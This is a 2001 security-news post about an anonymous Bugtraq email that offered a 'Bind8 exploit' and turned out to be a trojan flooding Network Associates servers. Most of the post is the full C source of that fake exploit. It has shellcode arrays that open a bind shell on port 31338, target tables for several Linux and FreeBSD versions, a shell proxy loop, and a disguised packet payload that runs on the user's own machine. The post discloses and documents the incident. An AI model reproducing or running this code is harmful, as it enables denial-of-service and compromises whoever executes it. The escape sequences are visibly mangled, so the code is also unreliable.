Skip to main content

BIND Trojan Fools Many Looking for Fix

posted onFebruary 2, 2001
by hitbsecnews

Following bugtraq I found a lot of the traffic following the BIND vulnerability announcement interesting. At some point I got a mail from nobody@replay.com claiming to be a fix for the BIND problem. Turns out the code is a trojan (bugtraq members quickly spotted the malicious code) that floods Network Associates servers. Wired is carrying a sensationalized story on the incident here.

Following is posted the original nobody mail:

>From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
Date: Thu, 31 Jan 2001 18:06:19 -0400
From: Anonymous <nobody@replay.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Bind8 exploit
Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Mailer: Internet Mail Service (5.5.2650.21)

/*
* Implements TSIG buffer mismanagement overflow for incorrect signatures. That
* one was really nice bug!
* Thanks NAI for nice bug!
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>

#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif

#define SHELL_OFFSET_1 26
#define SHELL_OFFSET_2 31
#define BIND_PKT_OFF 26 /* offset from beginning of packet */
#define BIND_OKT_SZ 14 /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

char dns_packet[] =
/* TSIG bind req, xe8 used as field separator. */
"x31xc0x48x50x50x31xdbx8dx05x0dx00x00x00xcdx80x83"
"xc4x08x3dx04x03x02x01x7cx05xe8TSIGxe8NAMExe8SIGNATURExe8RSA";

/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
* bind to tcp port 31338. hey aleph1
* :) */
"xebx34x5exbbx01x00x00x00x89xf1xb8x66x00x00x00xcd"
"x80x89x46x14x8dx46x30x89x46x18x31xc0x89x46x20x8d"
"x46x0cx89x46x24xb8x66x00x00x00xbbx0bx00x00x00x8d"
"x4ex14xcdx80xebxefxe8xc7xffxffxffx02x00x00x00x02"
"x00x00x00x11x00x00x00x02x00x00x35xa1x45x03x96xff"
"xffxffxffxefxffxffxffx00x04x00x00x00x00x00x00x02"
"x5fx9ax80x10x00x00x00/bin/sh";

char bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"xebx37x5ex6ax11x6ax02x6ax02x6ax66x8dx05x61x00x00"
"x00xcdx80x89xc2x6ax10x89xf0x50x31xc0x50x68x24x10"
"x00x00x8dx46x0fx50x52x68x88x00x00x00x8dx05x85x00"
"x00x00xcdx80x83xc4x1cxebxdcxe8xc4xffxffxffx00x02"
"x00x35xa1x45x03x96xe8xb1xffxffxff/bin/sh";

struct remote {
char *osname;
char *bindver;
unsigned long ret; /* return addr */
unsigned long otebp; /* offset ot %ebp,bind specific */
char *shellcode;
} remote[] = {
{
"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
},
{
"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
},
{
"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
},
{
"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
},
{
"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
},
{
"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
},
{
"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
},
{
"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
},
{
NULL, NULL, 0, 0
}
};

void
usage_func(char *pname)
{
int i;

fprintf(stderr, "Usage: %s remote_addr domainname target_id
", pname);
fprintf(stderr, "Targets:
");
for (i = 0; remote[i].osname; i++)
fprintf(stderr, " %d - %s (%s)
", i, remote[i].osname, remote[i].bindver);
fprintf(stderr, "
");
fprintf(stderr, " Example usage:
");
fprintf(stderr, "$ host -t ns domain.com
");
fprintf(stderr, "domain.com name server dns1.domain.com
");
fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0
");
fprintf(stderr, " [..expl output..]

");
exit(1);
}

int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;

memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(&copy_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}

unsigned long
Resolve(char *h)
{
struct in_addr q;
struct hostent *z;

if ((inet_aton(h, &q)) == 0) {
z = gethostbyname(h);

if (!z)
return -1;

(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
}
return q.s_addr;
}

/* pull out a compressed query name */
char *
dnsprintflabel(char *s, char *buf, char *p)
{
unsigned short i, len;
char *b = NULL;
len = (unsigned short) *(p++);
i = len + BIND_PKT_OFF;
/* invalid length? */
if (i)
return NULL;
while (len) {
while (len >= 0xC0) {
if (!b)
b = p + 1;
p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
len = (unsigned short) *(p++);
}
for (i = 0; i < len; i++)
*(s++) = *(p++);
*(s++) = '.';
len = (unsigned short) *(p++);
}
*(s++) = 0;
if (b)
return (b);
return (p);
}

int
proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
sleep(1);
printf("Entering proxyloop..
");
strcpy(snd, "cd /; uname -a; pwd; id;
");
write(s, snd, strlen(snd));
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0) {
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}

int
main(int argc, char *argv[])
{
HEADER *dnsheader;
struct sockaddr_in to;
char expl_buffer[PACKETSZ + 8192];
int off, i, x;
char ch, *remote_addr = NULL, *dmn = NULL;
char *walker;
unsigned char *shellcode;
int align = 0;
unsigned long remote_ip, addr;
int saved_len_1, saved_len_2;
int type = -1;
int fd, fd2;

if (argc != 4) {
usage_func(argv[0]);
}
dmn = strdup(argv[1]);
remote_addr = strdup(argv[2]);
type = atoi(argv[3]);

if (type < 0 || !remote_addr || !dmn) {
usage_func(argv[0]);
}
printf(" [+] Trying to resolve %s ...
", remote_addr);
remote_ip = Resolve(remote_addr);

if (remote_ip == -1) {
fprintf(stderr, " [-] failed to resolve %s
", remote_addr);
exit(1);
} else {
printf(" [+] %s -> %#lx...
", remote_addr, remote_ip);
}
/* block signal to allow these signals in bindshell */
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* well.. */
signal(SIGINT, SIG_IGN);

printf(" [+] Remote OS %s, using domain %s
", remote[type].osname, dmn);
printf(" [+] Offset: 0x%08x, bind specific value: %d
", remote[type].ret, remote[type].otebp);
shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
memset(shellcode, 0x90, PACKETSZ);

addr = remote[type].ret;

for (i = 0; i < sizeof(dns_packet); i++)
shellcode[i] = dns_packet[i];

if (i > 0) {
saved_len_1 = i;
}
for (x = 0; x < sizeof(linux_shellcode); i++, x++)
shellcode[i] = linux_shellcode[x];

if (i) {
saved_len_2 = i;
}
for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
shellcode[i] = bsd_shellcode[x];

/* encode offset */
addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_2] = (addr) & 0xff;

printf(" [+] shellcode length: %d
", i);
/*
* now build packet
* set pointer to itself. dont modify BIND_OFF_02, it was
* bruteforced.. and worked with every bind i sploited.
*/
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
/* setup tsig info */
set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
/* count of records */
if (i > (SHELL_OFFSET_2 - 10)) {
set_ptr(shellcode, BIND_OFF_03, i, 0);
} else {
i += (SHELL_OFFSET_2 / 2);
i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
set_ptr(shellcode, BIND_OFF_03, i, 0);
}
/* store return ADDR !! */
set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);

/* copy and rebuild packet depended stuff */
memcpy(expl_buffer, shellcode, PACKETSZ);
dnsheader = (HEADER *) & expl_buffer;
memset(dnsheader, 0, sizeof(HEADER));
dnsheader->id = htons(getpid());
dnsheader->qr = 1;
dnsheader->aa = 1;
/* tsig query! */
dnsheader->opcode = QUERY;
dnsheader->qdcount = htons(1);
dnsheader->arcount = htons(1);
/*
* encode packet ...
*/
dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
PUTSHORT(T_SIG, walker);

/*
* packet is built, connect and sent shellcode. what can be easier?
* :)
*/
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(1);
}
memset(&to, 0, sizeof(to));
to.sin_family = AF_INET;
to.sin_port = htons(53);
to.sin_addr.s_addr = remote_ip;

if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
perror("sendto");
exit(1);
}
/* attempt to connect to bindshell on port 31338 */

if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* linux & freebsd shellcodes bindport is same, so dont even check. */
to.sin_port = htons(31338);

if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
perror("connect");
exit(1);
}
proxyloop(fd2);
}

Source

Tags

Audio/Video

You May Also Like

Recent News

Tuesday, July 9th

Wednesday, July 3rd

Friday, June 28th

Thursday, June 27th

Thursday, June 13th

Wednesday, June 12th

Tuesday, June 11th

Friday, June 7th

Thursday, June 6th

Wednesday, June 5th